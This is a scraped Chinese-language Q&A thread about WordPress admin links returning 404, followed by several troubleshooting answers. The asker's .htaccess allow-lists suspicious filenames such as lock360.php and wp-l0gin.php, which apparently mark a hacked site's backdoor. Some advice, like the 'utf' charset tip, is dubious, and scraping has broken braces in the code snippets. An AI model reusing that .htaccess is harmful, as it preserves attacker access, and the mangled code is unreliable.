管理员链接显示 404 WordPress
Posted
技术标签:
【中文标题】管理员链接显示 404 WordPress【英文标题】:Admin links shows 404 WordPress 【发布时间】:2021-10-28 19:55:33 【问题描述】:登录成功后,无法访问任何页面(无法创建新帖子,无法编辑帖子,无法创建页面,无法访问左侧边栏的任何页面) 在管理面板上,它们都显示 404 错误。我已经检查了.htaccess
,但没关系。我无法访问永久链接页面,因为它会显示 404 错误。
在我昨天尝试访问它之前,所有这些都可以正常工作。
.htaccess 文件
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %REQUEST_FILENAME !-f
RewriteCond %REQUEST_FILENAME !-d
RewriteRule . /index.php [L]
</IfModule>
【问题讨论】:
启用调试并查看导致问题的原因。 看看这里wordpress.org/support/article/debugging-in-wordpress 什么都没有显示,只是正常的 404 错误,即使在启用调试后也是如此 .htaccess 文件的邮政编码? 您在哪里看到404
错误?在您的浏览器控制台中?您能否在问题中包含完整的错误消息?
【参考方案1】:
@BlackPearl 我曾多次尝试联系并帮助您调试您的网站,但您没有回复。我将帮助您避免使用“霰弹枪方法”,并尝试您在网上找到或人们扔给您的所有可能组合。
无论如何,根据经验,这通常是由于一个主要原因,那就是过时的主题和/或过时的插件。随着时间的推移,过时的主题和插件会失去与较新版本的 wordpress 的兼容性,并导致各种令人讨厌的错误。有时会发生这种情况,因为服务器和托管公司迁移到不支持那些过时的主题和插件功能的较新版本的 PHP。
话虽如此,我会尝试执行以下步骤来调试它:
我会尝试的第一件事是切换主题。我会将我当前的主题切换为 wordpress 默认主题之一。 在您的wp-config.php
中尝试将您的 "DB_CHARSET"
更改为仅“utf”。
有时文件会由于某些原因损坏,因此请尝试查看位于 wordpress 核心根文件夹中的 index.php
文件是否具有正确的内容。不是主题根文件夹中的那个,而是与wp-admin
文件夹位于同一目录中的另一个。
尝试清除 WordPress 缓存。如果您在网站上使用其中一个缓存插件,请清除您的插件缓存。
查看functions.php
文件的顶部和/或底部是否有多余的空格。如果是这样,请删除那些多余的空格。
尝试增加内存限制,特别是当您的 wordpress 站点使用图形/图像相关插件时。
在您的wp-config.php
文件中,定义('WP_MEMORY_LIMIT', '256M');
【讨论】:
我会补充一点:尝试禁用所有插件(并切换主题)。然后,如果有效,则一个一个激活插件,并激活您的主题。也许你会发现这个烂摊子是来自插件还是主题【参考方案2】:我看到你拒绝 php 文件。如果您有覆盖您的 htaccess 文件的插件,请禁用它。或者编辑当前的 htaccess 文件并更改
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
到
<FilesMatch ".(py|exe)$">
Order allow,deny
Deny from all
</FilesMatch>
如果您仍然无法访问您的网站,请将当前的 htaccess 替换为默认的进行测试。
# BEGIN WordPress
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%HTTP:Authorization]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %REQUEST_FILENAME !-f
RewriteCond %REQUEST_FILENAME !-d
RewriteRule . /index.php [L]
# END WordPress
【讨论】:
感谢您的回答。我试过了,但仍然出现错误。 打开时你的htaccess是否又被覆盖了?如果它可能是某个插件,您可能想要禁用它。禁用插件的最简单方法是重命名插件,以便重新加载您的网站,然后放回相同的名称。或重命名插件文件夹以禁用所有插件,重新加载您的网站,然后将文件夹重命名为插件。您可能想要激活调试 - wordpress.org/support/article/debugging-in-wordpress 。分享您的日志【参考方案3】:我会通过使用 ftp(或 ssh)重命名它们的文件夹来禁用所有插件。这样你就可以排除插件是一个问题。如果这样可以解决问题,请一一重新打开插件,直到它中断。然后,如果您发布该插件的名称,您(我们)可以查看其代码并查看发生了什么。
【讨论】:
【参考方案4】:确保您的 /wp-admin/
文件夹不包含任何 .htaccess 文件
删除,如果有的话。
如果问题仍然存在...
确保mod_rewrite
已启用
How to check whether mod_rewrite is enable on server?
启用模组,重启apache。
如果问题仍然存在...
检查 Apache 配置中是否允许 .htaccess
去寻找你的 Apache 配置
确保AllowOverride
指令设置为All
并在<Directory /var/www/your/dir/where/wp/is>
内:
记得重启 Apache。
如果问题仍然存在...
删除 .htaccess 并重置永久链接
转到/wp-login.php
并登录。
设置 -> 固定链接 -> 保存。 (WP 会自动重新创建你的 .htaccess)。
如果您无法访问永久链接页面,请以编程方式将 sn-p 添加到 functions.php
:
add_action( 'init', function ()
flush_rewrite_rules( true );
, 99 );
刷新页面...现在您的 .httacces 已重新创建。从functions.php
中删除代码。
如果问题仍然存在...
尝试禁用插件。
例如,将文件夹 wp-content/plugins
重命名为 _plugins
。
刷新页面。现在您的插件已停用。
如果问题消失,请逐个启用插件,直到问题再次出现。这样你就可以找到有问题的插件了。
【讨论】:
【参考方案5】:在您的管理控制面板中,转到工具 -> 站点运行状况。在那里寻找可能表明问题所在的问题。
例如,有时您会看到 REST API 出现错误。当插件或主题的代码不正确时会发生这种情况,这会破坏 API 调用的正确响应。这会破坏编辑页面/帖子/其他自定义帖子类型等内容。
要解决此问题,请尝试禁用所有主题。一种快速的方法是通过 SFTP 进入您的服务器并将wp-content/plugins
目录重命名为plugins-renamed
之类的名称。然后重新加载任何管理页面。然后重命名回来。您的所有插件都将被禁用,您可以一次重新启用它们,同时检查“站点健康”页面以查看问题是否再次出现。
还可以尝试激活不同的主题,看看是否能解决问题。
【讨论】:
【参考方案6】:我想,你被黑了。 检查配置文件,它必须有一些乱码,会破坏 php 的执行。 恢复您的数据库或至少检查它。 检查您有多少用户。你有任何用户作为管理员。尝试使用该用户登录。 检查您的文件。尝试从备份中恢复。 检查您的 unix 文件设置可能是某些文件需要执行权限。
https://www.malcare.com/blog/wordpress-file-permissions/
【讨论】:
【参考方案7】:404 错误表示您的浏览器无法找到您尝试访问的页面。根据您使用的浏览器,确切的消息可能会有所不同。尝试的第一步是重置您的永久链接。前往您的 WordPress 仪表板并导航至设置 > 永久链接。从这里,只需单击保存更改。没错——你实际上不需要编辑任何东西。即使您不进行任何更改,单击该按钮也会更新永久链接设置。
【讨论】:
以上是关于管理员链接显示 404 WordPress的主要内容,如果未能解决你的问题,请参考以下文章
在Nginx下搭建wordpress时,最易出现404问题,如何解决
wordpress中怎样设置404自定义错误指向wp-404-handler.php???